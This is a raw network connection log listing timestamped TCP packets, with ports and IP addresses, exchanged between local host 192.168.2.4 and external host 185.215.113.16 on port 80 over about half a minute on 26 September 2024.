Sep 26, 2024 17:06:05.487934113 CEST	55651	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:05.488383055 CEST	55652	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:05.493339062 CEST	80	55652	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:05.493386984 CEST	80	55651	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:05.493426085 CEST	55652	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:05.493453026 CEST	55651	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:05.493577003 CEST	55652	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:05.498331070 CEST	80	55652	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:06.197068930 CEST	80	55652	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:06.197144985 CEST	55652	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:06.197768927 CEST	55652	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:06.202662945 CEST	80	55652	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:06.440093994 CEST	80	55652	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:06.440370083 CEST	55652	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:06.550260067 CEST	55652	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:06.550652981 CEST	55653	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:06.555684090 CEST	80	55652	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:06.555699110 CEST	80	55653	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:06.555769920 CEST	55652	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:06.555821896 CEST	55653	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:06.556031942 CEST	55653	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:06.560888052 CEST	80	55653	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:07.265211105 CEST	80	55653	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:07.265363932 CEST	55653	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:07.266149998 CEST	55653	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:07.270956039 CEST	80	55653	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:07.496052027 CEST	80	55653	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:07.496175051 CEST	55653	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:07.612606049 CEST	55653	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:07.612972975 CEST	55654	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:07.617924929 CEST	80	55653	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:07.617950916 CEST	80	55654	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:07.618011951 CEST	55653	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:07.618077040 CEST	55654	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:07.618197918 CEST	55654	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:07.622939110 CEST	80	55654	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:08.331146002 CEST	80	55654	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:08.331207037 CEST	55654	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:08.332066059 CEST	55654	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:08.336971045 CEST	80	55654	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:08.563980103 CEST	80	55654	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:08.564059019 CEST	55654	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:08.675467968 CEST	55654	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:08.675870895 CEST	55655	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:08.680789948 CEST	80	55655	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:08.680876017 CEST	80	55654	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:08.680876017 CEST	55655	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:08.680922985 CEST	55654	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:08.681051970 CEST	55655	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:08.685856104 CEST	80	55655	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:09.375256062 CEST	80	55655	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:09.375377893 CEST	55655	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:09.376321077 CEST	55655	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:09.381406069 CEST	80	55655	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:09.599627018 CEST	80	55655	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:09.599809885 CEST	55655	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:09.741149902 CEST	55655	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:09.741828918 CEST	55656	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:09.746525049 CEST	80	55655	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:09.746581078 CEST	55655	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:09.746746063 CEST	80	55656	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:09.746822119 CEST	55656	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:09.758709908 CEST	55656	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:09.763534069 CEST	80	55656	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:10.474226952 CEST	80	55656	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:10.474325895 CEST	55656	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:10.475132942 CEST	55656	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:10.479958057 CEST	80	55656	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:10.709074974 CEST	80	55656	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:10.709383011 CEST	55656	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:10.815824032 CEST	55656	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:10.816246033 CEST	55657	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:10.822741985 CEST	80	55656	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:10.822827101 CEST	55656	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:10.822930098 CEST	80	55657	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:10.823013067 CEST	55657	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:10.823120117 CEST	55657	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:10.827923059 CEST	80	55657	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:11.549422026 CEST	80	55657	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:11.549602032 CEST	55657	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:11.551275969 CEST	55657	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:11.557446003 CEST	80	55657	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:11.780131102 CEST	80	55657	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:11.780282021 CEST	55657	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:11.899807930 CEST	55657	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:11.900474072 CEST	55658	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:11.905030966 CEST	80	55657	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:11.905160904 CEST	55657	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:11.905302048 CEST	80	55658	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:11.905431986 CEST	55658	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:11.905811071 CEST	55658	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:11.910676956 CEST	80	55658	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:12.620748997 CEST	80	55658	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:12.620853901 CEST	55658	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:12.623521090 CEST	55658	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:12.628367901 CEST	80	55658	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:12.857176065 CEST	80	55658	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:12.857306004 CEST	55658	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:12.972230911 CEST	55658	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:12.972635984 CEST	55659	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:12.977547884 CEST	80	55659	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:12.977672100 CEST	55659	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:12.977821112 CEST	55659	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:12.979079008 CEST	80	55658	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:12.979147911 CEST	55658	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:12.982796907 CEST	80	55659	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:13.686417103 CEST	80	55659	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:13.686527967 CEST	55659	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:13.687414885 CEST	55659	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:13.692265987 CEST	80	55659	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:13.933962107 CEST	80	55659	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:13.934036970 CEST	55659	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:14.050173998 CEST	55659	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:14.050558090 CEST	55660	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:14.055362940 CEST	80	55660	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:14.055455923 CEST	55660	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:14.055573940 CEST	55660	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:14.055675983 CEST	80	55659	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:14.055727005 CEST	55659	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:14.060329914 CEST	80	55660	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:14.782094002 CEST	80	55660	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:14.782286882 CEST	55660	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:14.784502029 CEST	55660	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:14.789429903 CEST	80	55660	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:15.020087957 CEST	80	55660	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:15.020149946 CEST	55660	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:15.128742933 CEST	55660	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:15.129565001 CEST	55661	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:15.134102106 CEST	80	55660	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:15.134183884 CEST	55660	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:15.134429932 CEST	80	55661	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:15.134517908 CEST	55661	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:15.134735107 CEST	55661	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:15.139462948 CEST	80	55661	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:15.853360891 CEST	80	55661	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:15.853524923 CEST	55661	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:15.854372978 CEST	55661	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:15.859447002 CEST	80	55661	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:16.089590073 CEST	80	55661	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:16.089716911 CEST	55661	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:16.206290960 CEST	55661	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:16.206598997 CEST	55662	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:16.211463928 CEST	80	55662	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:16.211580992 CEST	55662	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:16.211677074 CEST	55662	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:16.211767912 CEST	80	55661	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:16.211822033 CEST	55661	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:16.216407061 CEST	80	55662	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:16.939333916 CEST	80	55662	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:16.939604044 CEST	55662	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:16.940506935 CEST	55662	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:16.945363045 CEST	80	55662	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:17.173333883 CEST	80	55662	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:17.173531055 CEST	55662	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:17.284781933 CEST	55662	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:17.285187960 CEST	55663	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:17.290153980 CEST	80	55663	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:17.290282011 CEST	55663	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:17.290383101 CEST	80	55662	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:17.290443897 CEST	55662	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:17.290596008 CEST	55663	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:17.295351028 CEST	80	55663	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:18.010824919 CEST	80	55663	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:18.010896921 CEST	55663	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:18.011984110 CEST	55663	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:18.016794920 CEST	80	55663	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:18.243854046 CEST	80	55663	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:18.244112015 CEST	55663	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:18.347489119 CEST	55663	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:18.348278046 CEST	55664	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:18.352721930 CEST	80	55663	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:18.352840900 CEST	55663	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:18.353096962 CEST	80	55664	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:18.353176117 CEST	55664	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:18.353413105 CEST	55664	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:18.358163118 CEST	80	55664	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:19.070374012 CEST	80	55664	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:19.070504904 CEST	55664	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:19.071213007 CEST	55664	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:19.075953007 CEST	80	55664	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:19.303478956 CEST	80	55664	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:19.303594112 CEST	55664	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:19.409476995 CEST	55664	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:19.409847021 CEST	55665	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:19.415112972 CEST	80	55665	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:19.415126085 CEST	80	55664	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:19.415196896 CEST	55664	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:19.415422916 CEST	55665	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:19.415422916 CEST	55665	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:19.420244932 CEST	80	55665	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:20.113703966 CEST	80	55665	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:20.113965034 CEST	55665	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:20.114624977 CEST	55665	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:20.120066881 CEST	80	55665	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:20.338655949 CEST	80	55665	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:20.338723898 CEST	55665	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:20.449151039 CEST	55665	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:20.449583054 CEST	55666	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:20.454499006 CEST	80	55665	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:20.454525948 CEST	80	55666	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:20.454639912 CEST	55665	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:20.454695940 CEST	55666	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:20.454943895 CEST	55666	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:20.459681034 CEST	80	55666	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:21.163033962 CEST	80	55666	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:21.163176060 CEST	55666	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:21.168693066 CEST	55666	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:21.173520088 CEST	80	55666	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:21.562275887 CEST	80	55666	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:21.562402010 CEST	55666	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:21.675173998 CEST	55666	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:21.675581932 CEST	55667	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:21.680304050 CEST	80	55666	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:21.680326939 CEST	80	55667	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:21.680392981 CEST	55666	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:21.680417061 CEST	55667	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:21.680618048 CEST	55667	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:21.685412884 CEST	80	55667	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:22.387645006 CEST	80	55667	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:22.387908936 CEST	55667	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:22.388715029 CEST	55667	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:22.393654108 CEST	80	55667	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:22.619709015 CEST	80	55667	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:22.619755983 CEST	55667	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:22.722278118 CEST	55667	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:22.722676039 CEST	55668	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:22.727592945 CEST	80	55668	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:22.727606058 CEST	80	55667	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:22.727718115 CEST	55667	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:22.727746010 CEST	55668	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:22.727864981 CEST	55668	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:22.732552052 CEST	80	55668	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:23.436578989 CEST	80	55668	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:23.436806917 CEST	55668	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:23.438375950 CEST	55668	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:23.443329096 CEST	80	55668	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:23.667787075 CEST	80	55668	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:23.668025970 CEST	55668	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:23.873176098 CEST	55668	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:23.878395081 CEST	80	55668	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:23.878459930 CEST	55668	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:23.884083986 CEST	55669	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:23.889033079 CEST	80	55669	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:23.889101982 CEST	55669	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:23.895128012 CEST	55669	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:23.899938107 CEST	80	55669	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:24.628212929 CEST	80	55669	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:24.628281116 CEST	55669	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:24.630661011 CEST	55669	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:24.635482073 CEST	80	55669	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:25.041414022 CEST	80	55669	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:25.041485071 CEST	55669	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:25.144114971 CEST	55669	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:25.144624949 CEST	55670	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:25.149317026 CEST	80	55669	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:25.149367094 CEST	55669	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:25.149408102 CEST	80	55670	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:25.149466991 CEST	55670	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:25.149669886 CEST	55670	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:25.154479980 CEST	80	55670	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:25.849009991 CEST	80	55670	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:25.849081993 CEST	55670	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:25.849750996 CEST	55670	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:25.854589939 CEST	80	55670	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:26.077857018 CEST	80	55670	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:26.078285933 CEST	55670	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:26.190896034 CEST	55670	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:26.191241980 CEST	55671	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:26.196059942 CEST	80	55671	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:26.196738005 CEST	80	55670	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:26.196815014 CEST	55670	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:26.196822882 CEST	55671	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:26.196990013 CEST	55671	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:26.201831102 CEST	80	55671	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:26.911773920 CEST	80	55671	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:26.911849022 CEST	55671	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:26.912630081 CEST	55671	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:26.917538881 CEST	80	55671	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:27.158252954 CEST	80	55671	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:27.158482075 CEST	55671	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:27.268882036 CEST	55671	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:27.269249916 CEST	55672	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:27.274977922 CEST	80	55672	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:27.274992943 CEST	80	55671	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:27.275058985 CEST	55671	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:27.275089025 CEST	55672	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:27.275295019 CEST	55672	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:27.280838013 CEST	80	55672	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:28.001151085 CEST	80	55672	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:28.001285076 CEST	55672	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:28.002094030 CEST	55672	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:28.007555962 CEST	80	55672	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:28.234582901 CEST	80	55672	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:28.234707117 CEST	55672	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:28.346993923 CEST	55672	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:28.347320080 CEST	55673	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:28.555290937 CEST	80	55673	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:28.555336952 CEST	80	55672	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:28.555433035 CEST	55673	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:28.555469036 CEST	55672	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:28.555716038 CEST	55673	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:28.560528040 CEST	80	55673	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:29.270960093 CEST	80	55673	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:29.271017075 CEST	55673	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:29.273848057 CEST	55673	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:29.278656960 CEST	80	55673	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:29.507033110 CEST	80	55673	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:29.507157087 CEST	55673	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:29.613177061 CEST	55673	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:29.613491058 CEST	55674	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:29.618345976 CEST	80	55674	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:29.618449926 CEST	55674	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:29.618474960 CEST	80	55673	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:29.618520021 CEST	55673	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:29.618700027 CEST	55674	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:29.623528957 CEST	80	55674	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:30.327445984 CEST	80	55674	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:30.327565908 CEST	55674	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:30.328258038 CEST	55674	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:30.333523035 CEST	80	55674	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:30.577008963 CEST	80	55674	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:30.577168941 CEST	55674	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:30.862979889 CEST	55674	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:30.863322973 CEST	55675	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:30.868231058 CEST	80	55675	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:30.868249893 CEST	80	55674	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:30.868331909 CEST	55674	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:30.868520021 CEST	55675	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:30.868520021 CEST	55675	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:30.873440027 CEST	80	55675	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:31.605555058 CEST	80	55675	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:31.605681896 CEST	55675	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:31.606581926 CEST	55675	80	192.168.2.4	185.215.113.16
